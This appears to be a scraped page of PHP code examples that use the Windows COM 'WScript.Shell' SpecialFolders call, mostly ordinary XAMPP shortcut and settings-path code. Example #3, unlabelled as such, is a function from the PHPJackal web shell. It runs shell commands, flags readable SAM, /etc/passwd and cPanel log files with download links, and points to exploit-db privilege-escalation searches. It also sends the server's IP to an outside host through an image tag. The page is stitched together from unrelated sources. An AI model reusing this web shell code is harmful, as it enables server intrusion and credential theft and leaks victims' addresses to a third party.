private static function relocateShortcut()
 {
     $WshShell = new COM('WScript.Shell');
     $desktop = $WshShell->SpecialFolders('Desktop');
     $startmenu = $WshShell->SpecialFolders('Programs');
     $startmenu .= DIRECTORY_SEPARATOR . 'XAMPP for Windows';
     $links = array();
     $links[realpath($desktop . DIRECTORY_SEPARATOR . 'XAMPP Control Panel.lnk')] = array('TargetPath' => self::$xampppath . DIRECTORY_SEPARATOR . 'xampp-control.exe', 'WorkingDirectory' => self::$xampppath, 'WindowStyle' => 1, 'IconLocation' => self::$xampppath . DIRECTORY_SEPARATOR . 'xampp-control.exe', 'Description' => 'XAMPP Control Panel');
     $links[realpath($startmenu . DIRECTORY_SEPARATOR . 'XAMPP Control Panel.lnk')] = array('TargetPath' => self::$xampppath . DIRECTORY_SEPARATOR . 'xampp-control.exe', 'WorkingDirectory' => self::$xampppath, 'WindowStyle' => 1, 'IconLocation' => self::$xampppath . DIRECTORY_SEPARATOR . 'xampp-control.exe', 'Description' => 'XAMPP Control Panel');
     $links[realpath($startmenu . DIRECTORY_SEPARATOR . 'XAMPP Setup.lnk')] = array('TargetPath' => self::$xampppath . DIRECTORY_SEPARATOR . 'xampp_setup.bat', 'WorkingDirectory' => self::$xampppath, 'WindowStyle' => 1, 'IconLocation' => self::$xampppath . DIRECTORY_SEPARATOR . 'xampp_cli.exe', 'Description' => 'XAMPP Setup');
     $links[realpath($startmenu . DIRECTORY_SEPARATOR . 'XAMPP Shell.lnk')] = array('TargetPath' => self::$xampppath . DIRECTORY_SEPARATOR . 'xampp_shell.bat', 'WorkingDirectory' => self::$xampppath, 'WindowStyle' => 1, 'IconLocation' => self::$xampppath . DIRECTORY_SEPARATOR . 'xampp_cli.exe', 'Description' => 'XAMPP Shell');
     $links[realpath($startmenu . DIRECTORY_SEPARATOR . 'XAMPP Uninstall.lnk')] = array('TargetPath' => self::$xampppath . DIRECTORY_SEPARATOR . 'uninstall_xampp.bat', 'WorkingDirectory' => self::$xampppath, 'WindowStyle' => 1, 'IconLocation' => self::$xampppath . DIRECTORY_SEPARATOR . 'xampp_cli.exe', 'Description' => 'XAMPP Uninstall');
     foreach ($links as $shortcut => $value) {
         if (is_int($shortcut)) {
             continue;
         }
         $oldfileperm = fileperms($shortcut);
         if (!chmod($shortcut, 0666) && !is_writable($shortcut)) {
             throw new XAMPPException('File \'' . $shortcut . '\' is not writable.');
         }
         $ShellLink = $WshShell->CreateShortcut($shortcut);
         $ShellLink->TargetPath = $value['TargetPath'];
         $ShellLink->WorkingDirectory = $value['WorkingDirectory'];
         $ShellLink->WindowStyle = $value['WindowStyle'];
         $ShellLink->IconLocation = $value['IconLocation'];
         $ShellLink->Description = $value['Description'];
         $ShellLink->Save();
         $ShellLink = null;
         chmod($shortcut, $oldfileperm);
     }
     $WshShell = null;
     return;
 }
Exemple #2
0
 private static function relocateShortcut()
 {
     $WshShell = new COM('WScript.Shell', null, CP_UTF8);
     $FSO = new COM('Scripting.FileSystemObject', null, CP_UTF8);
     $desktop = $WshShell->SpecialFolders('Desktop');
     $startmenu = $WshShell->SpecialFolders('Programs');
     $startmenu = $FSO->BuildPath($startmenu, utf8_encode('XAMPP for Windows'));
     $xampppath = utf8_encode(self::$xampppath);
     $links = array();
     $links[$FSO->BuildPath($desktop, utf8_encode('XAMPP Control Panel.lnk'))] = array('TargetPath' => $FSO->BuildPath($xampppath, utf8_encode('xampp-control.exe')), 'WorkingDirectory' => $xampppath, 'WindowStyle' => 1, 'IconLocation' => $FSO->BuildPath($xampppath, utf8_encode('xampp-control.exe')), 'Description' => utf8_encode('XAMPP Control Panel'));
     $links[$FSO->BuildPath($startmenu, utf8_encode('XAMPP Control Panel.lnk'))] = array('TargetPath' => $FSO->BuildPath($xampppath, utf8_encode('xampp-control.exe')), 'WorkingDirectory' => $xampppath, 'WindowStyle' => 1, 'IconLocation' => $FSO->BuildPath($xampppath, utf8_encode('xampp-control.exe')), 'Description' => utf8_encode('XAMPP Control Panel'));
     $links[$FSO->BuildPath($startmenu, utf8_encode('XAMPP Setup.lnk'))] = array('TargetPath' => $FSO->BuildPath($xampppath, utf8_encode('xampp_setup.bat')), 'WorkingDirectory' => $xampppath, 'WindowStyle' => 1, 'IconLocation' => $FSO->BuildPath($xampppath, utf8_encode('xampp_cli.exe')), 'Description' => utf8_encode('XAMPP Setup'));
     $links[$FSO->BuildPath($startmenu, utf8_encode('XAMPP Shell.lnk'))] = array('TargetPath' => $FSO->BuildPath($xampppath, utf8_encode('xampp_shell.bat')), 'WorkingDirectory' => $xampppath, 'WindowStyle' => 1, 'IconLocation' => $FSO->BuildPath($xampppath, utf8_encode('xampp_cli.exe')), 'Description' => utf8_encode('XAMPP Shell'));
     $links[$FSO->BuildPath($startmenu, utf8_encode('XAMPP Uninstall.lnk'))] = array('TargetPath' => $FSO->BuildPath($xampppath, utf8_encode('uninstall_xampp.bat')), 'WorkingDirectory' => $xampppath, 'WindowStyle' => 1, 'IconLocation' => $FSO->BuildPath($xampppath, utf8_encode('xampp_cli.exe')), 'Description' => utf8_encode('XAMPP Uninstall'));
     foreach ($links as $shortcut => $value) {
         if (!$FSO->FileExists($shortcut)) {
             continue;
         }
         try {
             $shortcut_file = $FSO->GetFile($shortcut);
             $oldfileperm = $shortcut_file->attributes;
             if (($oldfileperm & 1) == 1) {
                 $shortcut_file->attributes += -1;
             }
         } catch (Exception $e) {
             throw new XAMPPException('File \'' . utf8_decode($shortcut) . '\' is not writable.');
         }
         $ShellLink = $WshShell->CreateShortcut($shortcut);
         $ShellLink->TargetPath = $value['TargetPath'];
         $ShellLink->WorkingDirectory = $value['WorkingDirectory'];
         $ShellLink->WindowStyle = $value['WindowStyle'];
         $ShellLink->IconLocation = $value['IconLocation'];
         $ShellLink->Description = $value['Description'];
         $ShellLink->Save();
         $ShellLink = null;
         $shortcut_file->attributes = $oldfileperm;
         $shortcut_file = null;
     }
     $FSO = null;
     $WshShell = null;
     return;
 }
Exemple #3
0
function sysinfO()
{
    global $windows, $disablefunctions, $cwd, $safemode, $Resource_Dir;
    $basedir = ini_get('open_basedir') || strtoupper(ini_get('open_basedir')) == 'ON' ? 'ON' : 'OFF';
    if (!empty($_SERVER['PROCESSOR_IDENTIFIER'])) {
        $CPU = $_SERVER['PROCESSOR_IDENTIFIER'];
    }
    $osver = $tsize = $fsize = '';
    $ds = implode(' ', $disablefunctions);
    $Clock = $Resource_Dir . 'images/clock/';
    if ($windows) {
        $osver = shelL('ver');
        if (!empty($osver)) {
            $osver = "({$osver})";
        }
        $sysroot = shelL("echo %systemroot%");
        if (empty($sysroot)) {
            $sysroot = $_SERVER['SystemRoot'];
        }
        if (empty($sysroot)) {
            $sysroot = getenv('windir');
        }
        if (empty($sysroot)) {
            $sysroot = 'Not Found';
        }
        if (empty($CPU)) {
            $CPU = shelL('echo %PROCESSOR_IDENTIFIER%');
        }
        for ($i = 66; $i <= 90; $i++) {
            $drive = chr($i) . ':\\';
            if (@disk_total_space($drive)) {
                $fsize += disk_free_space($drive);
                $tsize += disk_total_space($drive);
            }
        }
    } else {
        if (empty($CPU)) {
            $CPU = shelL('grep "model name" /proc/cpuinfo | cut -d ":" -f2');
        }
        if ($CPU) {
            $CPU = nl2br($CPU);
        }
        $fsize = disk_free_space('/');
        $tsize = disk_total_space('/');
    }
    $diskper = floor($fsize / $tsize * 100);
    $diskcolor = '; background: ';
    if ($diskper < 33) {
        $diskcolor .= 'green';
    } elseif ($diskper < 66 && $diskper > 33) {
        $diskcolor .= 'orange';
    } else {
        $diskcolor .= 'red';
    }
    $disksize = 'Used spase: ' . showsizE($tsize - $fsize) . ' Free space: ' . showsizE($fsize) . ' Total space: ' . showsizE($tsize);
    $diskspace = $tsize ? '<div class="progress-container" style="width: 100px" title="' . $disksize . '"><div style="width: ' . $diskper . '%' . $diskcolor . '"></div></div>' : 'Unknown';
    if (empty($CPU)) {
        $CPU = 'Unknow';
    }
    $os = php_uname();
    $osn = php_uname('s');
    $UID = $GID = 'Unknown';
    $cp = $clog = '';
    if (!$windows) {
        if (checkfunctioN('posix_getegid') && checkfunctioN('posix_geteuid')) {
            $UID = posix_geteuid();
            $GID = posix_getegid();
            $processUser = posix_getpwuid(posix_geteuid());
            $cuser = $processUser['name'];
        }
        $cp = '/usr/local/cpanel/version';
        $cv = is_readable($cp) ? trim(file_get_contents($cp)) : '';
        $clog = is_readable('/var/cpanel/accounting.log') ? 1 : '';
        $ker = php_uname('r');
        $o = $osn == 'Linux' ? 'Linux+Kernel' : $osn;
        $os = 'http://www.exploit-db.com/search/?action=search&filter_platform=16" target="_blank">' . $osn . '</a>';
        $os = 'http://www.exploit-db.com/search/?action=search&filter_description=kernel&filter_platform=16" target="_blank">' . $ker . '</a>';
        $inpa = ':';
    } else {
        if (class_exists('COM')) {
            $cplace = array();
            $obj = new COM("WScript.Shell");
            $cplace['All Users Desktop'] = $obj->SpecialFolders("AllUsersDesktop");
            $cplace['All Users StartMenu'] = $obj->SpecialFolders("AllUsersStartMenu");
            $cplace['All Users Programs'] = $obj->SpecialFolders("AllUsersPrograms");
            $cplace['All Users Startup'] = $obj->SpecialFolders("AllUsersStartup");
            $cplace['Desktop'] = $obj->SpecialFolders("Desktop");
            $cplace['Favorites'] = $obj->SpecialFolders("Favorites");
            $cplace['Fonts'] = $obj->SpecialFolders("Fonts");
            $cplace['My Documents'] = $obj->SpecialFolders("MyDocuments");
            $cplace['NetHood'] = $obj->SpecialFolders("NetHood");
            $cplace['PrintHood'] = $obj->SpecialFolders("PrintHood");
            $cplace['Recent'] = $obj->SpecialFolders("Recent");
            $cplace['SendTo'] = $obj->SpecialFolders("SendTo");
            $cplace['StartMenu'] = $obj->SpecialFolders("StartMenu");
            $cplace['Startup'] = $obj->SpecialFolders("Startup");
            $cplace['Templates'] = $obj->SpecialFolders("Templates");
        }
        $cuser = get_current_user();
        $sam = $sysroot . "\\system32\\config\\SAM";
        $inpa = ';';
        $os = 'http://www.exploit-db.com/search/?action=search&filter_description=privilege+escalation&filter_platform=45" target="_blank">' . $osn . '</a>';
    }
    $AM = '';
    if (empty($cuser)) {
        $cuser = '******';
    }
    if (checkfunctioN('apache_get_modules')) {
        $am = implode(', ', apache_get_modules());
        $AM = $am ? '<div class="fieldwrapper"><label class="styled">Apache modules:</label><div class="thefield"><span>' . $am . '</span></div></div>' : '';
    }
    echo '<br /><br /><div class="fieldwrapper"><label class="styled" style="width:320px">Server information</label></div><div class="fieldwrapper"><label class="styled">Server:</label><div class="thefield"><span>';
    if (!empty($_SERVER['SERVER_ADDR'])) {
        echo '<img src="http://nima.my3gb.com/PHPJackal/info/?ip=' . $_SERVER['SERVER_ADDR'] . '" border="0" /> ';
    }
    echo $_SERVER['HTTP_HOST'];
    if (!empty($_SERVER['SERVER_ADDR'])) {
        echo '(<a href="' . hlinK("seC=tools&serveR=whois.geektools.com&domaiN=" . $_SERVER['SERVER_ADDR']) . '">' . $_SERVER['SERVER_ADDR'] . '</a>)';
    }
    echo '</span></div></div><div class="fieldwrapper"><label class="styled">Operation system:</label><div class="thefield"><span><a href="' . $os . $osver . '</span></div></div>
<div class="fieldwrapper"><label class="styled">Web server:</label><div class="thefield"><span>' . $_SERVER['SERVER_SOFTWARE'] . '</span></div></div>' . $AM . '<div class="fieldwrapper"><label class="styled">CPU:</label><div class="thefield"><span>' . $CPU . '</span></div></div>';
    if ($diskspace != 'Unknown') {
        echo '<div class="fieldwrapper"><label class="styled">Disk space:</label><span>' . $diskspace . '</span></div></div>';
    }
    if (!empty($_SERVER['USERDOMAIN'])) {
        echo '<div class="fieldwrapper"><label class="styled">User domain:</label><div class="thefield"><span>' . $_SERVER['USERDOMAIN'] . '</span></div></div>';
    }
    if ($cuser != 'Unknow') {
        echo '<div class="fieldwrapper"><label class="styled">Username:</label><div class="thefield"><span>' . $cuser . '</span></div></div>';
    }
    if ($windows) {
        echo '
		<div class="fieldwrapper"><label class="styled">Windows directory:</label><div class="thefield"><span><a href="' . hlinK("seC=fm&workingdiR={$sysroot}") . '">' . $sysroot . '</a></span></div></div>';
        if (isset($cplace)) {
            foreach ($cplace as $k => $v) {
                echo '<div class="fieldwrapper"><label class="styled">' . $k . ':</label><div class="thefield"><span><a href="' . hlinK("seC=fm&workingdiR={$v}") . '">' . $v . '</a></span></div></div>';
            }
        }
        if (is_readable($sam)) {
            echo '<div class="fieldwrapper"><label class="styled">SAM file:</label><div class="thefield"><span><a href="' . hlinK("?downloaD={$sysroot}\\system32\\config\\sam") . '">Readable</a></span></div></div>';
        }
    } else {
        if (is_numeric($UID) || is_numeric($GID)) {
            echo '<div class="fieldwrapper"><label class="styled">UID - GID:</label><div class="thefield"><span>' . $UID . ' - ' . $GID . '</span></div></div>';
        }
        if (is_readable('/etc/passwd')) {
            echo '<div class="fieldwrapper"><label class="styled">Passwd file:</label><div class="thefield"><span><a href="' . hlinK("seC=openit&namE=/etc/passwd&workingdiR={$cwd}") . '">Readable</a></span></div></div>';
        }
        if (!empty($cv) && !empty($clog)) {
            echo '<div class="fieldwrapper"><label class="styled">cPanel:</label><div class="thefield"><span>' . $cv . ' (Log file:  <a  href="' . hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR={$cwd}") . '">Readable</a>)</span></div></div>';
        }
    }
    echo '<div class="fieldwrapper"><label class="styled">PHP:</label><div class="thefield"><span>' . PHP_VERSION . '(<a href="' . hlinK("seC=phpinfo&workingdiR={$cwd}") . '" target="_blank">more...</a>).</span>
</div></div><div class="fieldwrapper"><label class="styled">Zend version:</label><div class="thefield">
<span>';
    if (checkfunctioN('zend_version')) {
        echo zend_version();
    } else {
        echo 'Not Found';
    }
    echo '</span>
</div></div><div class="fieldwrapper">
<label class="styled">Include path:</label>
<div class="thefield">
<span>' . str_replace($inpa, ' ', DEFAULT_INCLUDE_PATH) . '</span>
</div>
</div>
<div class="fieldwrapper">
<label class="styled">PHP Modules:</label>
<div class="thefield">
<span>';
    $ext = get_loaded_extensions();
    foreach ($ext as $v) {
        $i = phpversion($v);
        if (!empty($i)) {
            $i = "({$i})";
        }
        $l = hlinK("exT={$v}");
        echo "[<a href='javascript:void(0)' onclick=\"window.open('{$l}','','width=300,height=200,scrollbars=yes')\">{$v} {$i}</a>] ";
    }
    echo '</span>
</div>
</div>';
    if (!empty($ds)) {
        echo '
<div class="fieldwrapper">
<label class="styled">Disabled functions:</label>
<div class="thefield">
<span>' . $ds . '</span>
</div>
</div>';
    }
    echo '
<div class="fieldwrapper">
<label class="styled">Safe-mode:</label>
<div class="thefield">
<span>' . $safemode . '</span>
</div>
</div>
<div class="fieldwrapper">
<label class="styled">Open base dir:</label>
<div class="thefield">
<span>' . $basedir . '</span>
</div>
</div>
<div class="fieldwrapper">
<label class="styled">DBMS:</label>
<div class="thefield">
<span>';
    $sq = '';
    if (checkfunctioN('mysql_connect')) {
        $sq = 'MySQL ';
    }
    if (checkfunctioN('mssql_connect')) {
        $sq .= 'MSSQL ';
    }
    if (checkfunctioN('ora_logon')) {
        $sq .= 'Oracle ';
    }
    if (checkfunctioN('sqlite_open')) {
        $sq .= 'SQLite ';
    }
    if (checkfunctioN('pg_connect')) {
        $sq .= 'PostgreSQL ';
    }
    if (checkfunctioN('msql_connect')) {
        $sq .= 'mSQL ';
    }
    if (checkfunctioN('mysqli_connect')) {
        $sq .= 'MySQLi ';
    }
    if (checkfunctioN('ovrimos_connect')) {
        $sq .= 'Ovrimos SQL ';
    }
    if ($sq == '') {
        $sq = 'Nothing';
    }
    echo $sq . '</span>
</div>
</div>
<div class="fieldwrapper">
<label class="styled">Time:</label>
<div class="thefield">
<span><div title="Local">
<img src="' . $Clock . '8.png" name="hr1" border="0" />
<img src="' . $Clock . '8.png" name="hr2" border="0" />
<img src="' . $Clock . 'c.png" border="0" />
<img src="' . $Clock . '8.png" name="mn1" border="0" />
<img src="' . $Clock . '8.png" name="mn2" border="0" />
<img src="' . $Clock . 'c.png" border="0" />
<img src="' . $Clock . '8.png" name="se1" border="0" />
<img src="' . $Clock . '8.png" name="se2" border="0" />
<img src="' . $Clock . 'pm.png" name="ampm" border="0" />
</div>
<div title="Server">
<img src="' . $Clock . '8.png" name="shr1" border="0" />
<img src="' . $Clock . '8.png" name="shr2" border="0" />
<img src="' . $Clock . 'c.png" border="0" />
<img src="' . $Clock . '8.png" name="smn1" border="0" />
<img src="' . $Clock . '8.png" name="smn2" border="0" />
<img src="' . $Clock . 'c.png" border="0" />
<img src="' . $Clock . '8.png" name="sse1" border="0" />
<img src="' . $Clock . '8.png" name="sse2" border="0" />
<img src="' . $Clock . 'pm.png" name="sampm" border="0" />
</span>
</div>
</div>
</div>
<script type="text/javascript">
dg0=new Image();dg0.src="' . $Clock . '0.png";
dg1=new Image();dg1.src="' . $Clock . '1.png";
dg2=new Image();dg2.src="' . $Clock . '2.png";
dg3=new Image();dg3.src="' . $Clock . '3.png";
dg4=new Image();dg4.src="' . $Clock . '4.png";
dg5=new Image();dg5.src="' . $Clock . '5.png";
dg6=new Image();dg6.src="' . $Clock . '6.png";
dg7=new Image();dg7.src="' . $Clock . '7.png";
dg8=new Image();dg8.src="' . $Clock . '8.png";
dg9=new Image();dg9.src="' . $Clock . '9.png";
dgam=new Image();dgam.src="' . $Clock . 'am.png";
dgpm=new Image();dgpm.src="' . $Clock . 'pm.png";
sh=';
    echo date('G');
    echo '+100;
sm=';
    echo date('i');
    echo '+100;
ss=';
    echo date('s');
    echo '+100;
function ltime(){
theTime=setTimeout("ltime()",1000);
d = new Date();
hr= d.getHours()+100;
mn= d.getMinutes()+100;
se= d.getSeconds()+100;
if(hr==100){hr=112;am_pm="am";}
else if(hr<112){am_pm="am";}
else if(hr==112){am_pm="pm";}
else if(hr>112){am_pm="pm";hr=(hr-12);}
tot=""+hr+mn+se;
document.hr1.src = "' . $Clock . '"+tot.substring(1,2)+".png";
document.hr2.src = "' . $Clock . '"+tot.substring(2,3)+".png";
document.mn1.src = "' . $Clock . '"+tot.substring(4,5)+".png";
document.mn2.src = "' . $Clock . '"+tot.substring(5,6)+".png";
document.se1.src = "' . $Clock . '"+tot.substring(7,8)+".png";
document.se2.src = "' . $Clock . '"+tot.substring(8,9)+".png";
document.ampm.src= "' . $Clock . '"+am_pm+".png";
}
function stime(){
theTime=setTimeout("stime()",1000);
ss++;
if(sh==100){sh=112;am_pm="am";}
else if(sh<112){am_pm="am";}
else if(sh==112){am_pm="pm";}
else if(sh>112){am_pm="pm";sh=(sh-12);}
if(ss==160){ss=100; sm++;}if(sm==160){sm=100; sh++;}
tot=""+sh+sm+ss;
document.shr1.src = "' . $Clock . '"+tot.substring(1,2)+".png";
document.shr2.src = "' . $Clock . '"+tot.substring(2,3)+".png";
document.smn1.src = "' . $Clock . '"+tot.substring(4,5)+".png";
document.smn2.src = "' . $Clock . '"+tot.substring(5,6)+".png";
document.sse1.src = "' . $Clock . '"+tot.substring(7,8)+".png";
document.sse2.src = "' . $Clock . '"+tot.substring(8,9)+".png";
document.sampm.src= "' . $Clock . '"+am_pm+".png";
}
ltime();
stime();
</script>
';
}
Exemple #4
0
 /**
  * Loads a windows path via COM using $objCom.
  *
  * @param string $strType See $objCom for allowed values.
  *
  * @return mixed False if no path could be obtained, string otherwise
  *
  * @access protected
  */
 function getCOMPath($strType)
 {
     if (!$this->loadCOM()) {
         return false;
     }
     $strPath = $this->objCom->SpecialFolders($strType);
     if (!$strPath || $strPath == '') {
         return false;
     } else {
         return $strPath;
     }
 }
Exemple #5
0
    /**
     * determines where user-specific configuration files should be saved.
     *
     * On unix, this is ~user/ or a location in /tmp based on the current directory.
     * On windows, this is your Documents and Settings folder.
     * @return string
     */
    static protected function locateLocalSettingsDirectory()
    {
        if (class_exists('COM', false)) {
            $shell = new \COM('Wscript.Shell');
            $value = $shell->SpecialFolders('MyDocuments');
            return $value;
        }

        if (isset($_ENV['HOME'])) {
            return $_ENV['HOME'];
        } elseif ($e = getenv('HOME')) {
            return $e;
        }

        if (isset($_ENV['PWD'])) {
            $cwd = $_ENV['PWD'];
        } else {
            $cwd = getcwd();
        }

        return '/tmp/' . md5($cwd);
    }